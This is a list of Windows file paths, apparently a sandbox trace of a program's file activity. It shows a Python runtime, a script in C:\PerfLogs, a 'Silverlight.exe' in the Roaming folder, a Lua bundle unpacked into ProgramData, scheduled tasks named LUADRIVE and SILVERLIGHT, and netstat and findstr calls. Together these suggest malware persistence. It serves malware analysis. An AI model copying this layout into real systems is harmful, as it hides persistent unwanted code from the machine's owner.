C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\JSON\__PYCACHE__\ENCODER.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\SUBPROCESS.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\SUBPROCESS.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\SIGNAL.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\SIGNAL.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\SITE-PACKAGES\XMLTODICT.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\SITE-PACKAGES\__PYCACHE__\XMLTODICT.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\XML\__INIT__.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\XML\__PYCACHE__\__INIT__.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\XML\PARSERS\__INIT__.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\XML\PARSERS\__PYCACHE__\__INIT__.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\XML\PARSERS\EXPAT.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\XML\PARSERS\__PYCACHE__\EXPAT.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\DLLS\PYEXPAT.PYD
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\PYTHON3.DLL
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\XML\SAX\__INIT__.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\XML\SAX\__PYCACHE__\__INIT__.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\XML\SAX\XMLREADER.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\XML\SAX\__PYCACHE__\XMLREADER.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\XML\SAX\HANDLER.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\XML\SAX\__PYCACHE__\HANDLER.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\XML\SAX\_EXCEPTIONS.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\XML\SAX\__PYCACHE__\_EXCEPTIONS.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\XML\SAX\SAXUTILS.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\XML\SAX\__PYCACHE__\SAXUTILS.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\URLLIB\__INIT__.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\URLLIB\__PYCACHE__\__INIT__.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\URLLIB\PARSE.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\URLLIB\__PYCACHE__\PARSE.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\URLLIB\REQUEST.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\URLLIB\__PYCACHE__\REQUEST.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\BASE64.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\BASE64.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\STRUCT.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\STRUCT.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\BISECT.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\BISECT.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\EMAIL\__INIT__.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\EMAIL\__PYCACHE__\__INIT__.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\HASHLIB.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\HASHLIB.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\DLLS\_HASHLIB.PYD
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\DLLS\LIBCRYPTO-1_1-X64.DLL
C:\WINDOWS\SYSTEM32\API-MS-WIN-CRT-UTILITY-L1-1-0.DLL
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\HTTP\__INIT__.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\HTTP\__PYCACHE__\__INIT__.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\HTTP\CLIENT.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\HTTP\__PYCACHE__\CLIENT.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\EMAIL\PARSER.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\EMAIL\__PYCACHE__\PARSER.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\EMAIL\FEEDPARSER.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\EMAIL\__PYCACHE__\FEEDPARSER.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\EMAIL\ERRORS.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\EMAIL\__PYCACHE__\ERRORS.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\EMAIL\_POLICYBASE.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\EMAIL\__PYCACHE__\_POLICYBASE.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\EMAIL\HEADER.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\EMAIL\__PYCACHE__\HEADER.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\EMAIL\QUOPRIMIME.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\EMAIL\__PYCACHE__\QUOPRIMIME.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\EMAIL\BASE64MIME.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\EMAIL\__PYCACHE__\BASE64MIME.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\EMAIL\CHARSET.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\EMAIL\__PYCACHE__\CHARSET.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\EMAIL\ENCODERS.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\EMAIL\__PYCACHE__\ENCODERS.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\QUOPRI.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\QUOPRI.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\EMAIL\UTILS.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\EMAIL\__PYCACHE__\UTILS.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\RANDOM.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\RANDOM.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\SOCKET.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\SOCKET.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\DLLS\_SOCKET.PYD
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\SELECTORS.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\SELECTORS.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\DLLS\SELECT.PYD
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\DATETIME.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\DATETIME.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\EMAIL\_PARSEADDR.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\EMAIL\__PYCACHE__\_PARSEADDR.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\CALENDAR.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\CALENDAR.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\LOCALE.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\LOCALE.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\EMAIL\MESSAGE.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\EMAIL\__PYCACHE__\MESSAGE.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\UU.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\UU.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\EMAIL\_ENCODED_WORDS.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\EMAIL\__PYCACHE__\_ENCODED_WORDS.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\EMAIL\ITERATORS.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\EMAIL\__PYCACHE__\ITERATORS.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\SSL.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\SSL.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\DLLS\_SSL.PYD
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\DLLS\LIBSSL-1_1-X64.DLL
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\POSIXPATH.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\POSIXPATH.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\TEMPFILE.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\TEMPFILE.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\SHUTIL.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\SHUTIL.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\FNMATCH.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\FNMATCH.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\BZ2.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\BZ2.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\_COMPRESSION.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\_COMPRESSION.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\DLLS\_BZ2.PYD
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\LZMA.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\LZMA.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\DLLS\_LZMA.PYD
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\CONTEXTLIB.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\CONTEXTLIB.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\URLLIB\ERROR.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\URLLIB\__PYCACHE__\ERROR.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\URLLIB\RESPONSE.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\URLLIB\__PYCACHE__\RESPONSE.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\NTURL2PATH.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\NTURL2PATH.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\ARGPARSE.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\ARGPARSE.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\GETTEXT.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\GETTEXT.CPYTHON-37.PYC
C:\PERFLOGS\TRIGGER.PY
C:\PERFLOGS\__PYCACHE__\TRIGGER.CPYTHON-37.PYC.45316016
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\SITE-PACKAGES\MAGIC\__INIT__.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\SITE-PACKAGES\MAGIC\__PYCACHE__\__INIT__.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\SITE-PACKAGES\MAGIC\MAGIC.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\SITE-PACKAGES\MAGIC\__PYCACHE__\MAGIC.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\GLOB.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\GLOB.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\CTYPES\__INIT__.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\CTYPES\__PYCACHE__\__INIT__.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\DLLS\_CTYPES.PYD
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\CTYPES\_ENDIAN.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\CTYPES\__PYCACHE__\_ENDIAN.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\CTYPES\UTIL.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\CTYPES\__PYCACHE__\UTIL.CPYTHON-37.PYC.44854608
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\SITE-PACKAGES\MAGIC\LIBMAGIC\LIBMAGIC.DLL
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\MIMETYPES.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\MIMETYPES.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\ZIPFILE.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\ZIPFILE.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\IMPORTLIB\__INIT__.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\IMPORTLIB\__PYCACHE__\__INIT__.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\IMPORTLIB\UTIL.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\IMPORTLIB\__PYCACHE__\UTIL.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\IMPORTLIB\ABC.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\IMPORTLIB\__PYCACHE__\ABC.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\IMPORTLIB\MACHINERY.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\IMPORTLIB\__PYCACHE__\MACHINERY.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\SITE-PACKAGES\RARFILE.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\SITE-PACKAGES\__PYCACHE__\RARFILE.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\PATHLIB.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\PATHLIB.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\SITE-PACKAGES\PEREADER.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\SITE-PACKAGES\__PYCACHE__\PEREADER.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\TYPING.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\TYPING.CPYTHON-37.PYC
C:\WINDOWS\SYSTEM32\SECUR32.DLL
C:\WINDOWS\SYSTEM32\SSPICLI.DLL
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\SILVERLIGHT.EXE
C:\WINDOWS\SYSTEM32\MSWSOCK.DLL
C:\WINDOWS\SYSTEM32\WSHTCPIP.DLL
C:\WINDOWS\SYSTEM32\WSHIP6.DLL
C:\WINDOWS\SYSTEM32\DNSAPI.DLL
C:\USERS\ADMINI~1\APPDATA\LOCAL\TEMP\LUA.ZIP
C:\WINDOWS\SYSTEM32\IPHLPAPI.DLL
C:\WINDOWS\SYSTEM32\WINNSI.DLL
C:\WINDOWS\SYSTEM32\RASADHLP.DLL
C:\PROGRAMDATA\LUA\ALIEN\CORE.DLL
C:\PROGRAMDATA\LUA\EFFIL.DLL
C:\PROGRAMDATA\LUA\LUA.EXE
C:\PROGRAMDATA\LUA\LUA\LTN12.LUA
C:\PROGRAMDATA\LUA\LUA\MIME.LUA
C:\PROGRAMDATA\LUA\LUA\SOCKET.LUA
C:\PROGRAMDATA\LUA\LUA\SOCKET\FTP.LUA
C:\PROGRAMDATA\LUA\LUA\SOCKET\HTTP.LUA
C:\PROGRAMDATA\LUA\LUA\SOCKET\SMTP.LUA
C:\PROGRAMDATA\LUA\LUA\SOCKET\TP.LUA
C:\PROGRAMDATA\LUA\LUA\SOCKET\URL.LUA
C:\PROGRAMDATA\LUA\LUA5.1.DLL
C:\PROGRAMDATA\LUA\LUA51.DLL
C:\PROGRAMDATA\LUA\LUAC.EXE
C:\PROGRAMDATA\LUA\MIME\CORE.DLL
C:\PROGRAMDATA\LUA\SOCKET\CORE.DLL
C:\PROGRAMDATA\LUA\ZIP.DLL
C:\WINDOWS\SYSTEM32\RPCSS.DLL
C:\WINDOWS\REGISTRATION\R00000000000C.CLB
C:\WINDOWS\SYSTEM32\TASKSCHD.DLL
C:\WINDOWS\SYSTEM32\XMLLITE.DLL
C:\WINDOWS\SYSTEM32\FWPUCLNT.DLL
C:\WINDOWS\SYSTEM32\KTMW32.DLL
C:\WINDOWS\SYSTEM32\WEVTAPI.DLL
C:\WINDOWS\SYSTEM32\EN-US\TASKENG.EXE.MUI
C:\WINDOWS\SYSTEM32\RPCRTREMOTE.DLL
C:\WINDOWS\SYSTEM32\TSCHANNEL.DLL
C:\WINDOWS\SYSTEM32\TASKS\LUADRIVE
C:\WINDOWS\SYSTEM32\APPHELP.DLL
C:\WINDOWS\APPPATCH\SYSMAIN.SDB
C:\WINDOWS\SYSTEM32\WOW64.DLL
C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
C:\WINDOWS\WINSXS\X86_MICROSOFT.VC80.CRT_1FC8B3B9A1E18E3B_8.0.50727.4940_NONE_D08CC06A442B34FC\MSVCR80.DLL
C:\WINDOWS\SYSWOW64\WSOCK32.DLL
C:\WINDOWS\SYSWOW64\SECHOST.DLL
C:\WINDOWS\SYSWOW64\MSWSOCK.DLL
C:\WINDOWS\SYSWOW64\IMM32.DLL
C:\WINDOWS\SYSWOW64\WSHTCPIP.DLL
C:\WINDOWS\SYSWOW64\NLAAPI.DLL
C:\WINDOWS\SYSWOW64\NAPINSP.DLL
C:\WINDOWS\SYSWOW64\PNRPNSP.DLL
C:\WINDOWS\SYSWOW64\DNSAPI.DLL
C:\WINDOWS\SYSWOW64\WINRNR.DLL
C:\WINDOWS\SYSWOW64\WSHBTH.DLL
C:\WINDOWS\SYSWOW64\IPHLPAPI.DLL
C:\WINDOWS\SYSWOW64\WINNSI.DLL
C:\WINDOWS\SYSWOW64\FWPUCLNT.DLL
C:\WINDOWS\SYSWOW64\RASADHLP.DLL
C:\WINDOWS\SYSWOW64\CMD.EXE
C:\WINDOWS\SYSWOW64\APPHELP.DLL
C:\WINDOWS\SYSWOW64\WINBRAND.DLL
C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
C:\WINDOWS\SYSWOW64\NETSTAT.EXE
C:\WINDOWS\SYSWOW64\DBGHELP.DLL
C:\WINDOWS\SYSWOW64\FINDSTR.EXE
C:\WINDOWS\SYSWOW64\EN-US\FINDSTR.EXE.MUI
C:\WINDOWS\SYSWOW64\SNMPAPI.DLL
C:\WINDOWS\SYSTEM32\UXTHEME.DLL
C:\WINDOWS\SYSTEM32\TASKS\SILVERLIGHT
C:\WINDOWS\SYSWOW64\EN-US\NETSTAT.EXE.MUI
C:\WINDOWS\SYSTEM32\DWMAPI.DLL
C:\WINDOWS\SYSWOW64\INETMIB1.DLL
C:\WINDOWS\WINSXS\X86_MICROSOFT.WINDOWS.COMMON-CONTROLS_6595B64144CCF1DF_5.82.7601.17514_NONE_EC83DFFA859149AF\COMCTL32.DLL
C:\WINDOWS\APPPATCH\ACLAYERS.DLL
C:\WINDOWS\SYSWOW64\WSHIP6.DLL
C:\WINDOWS\SYSWOW64\USERENV.DLL
C:\WINDOWS\SYSWOW64\PROFAPI.DLL
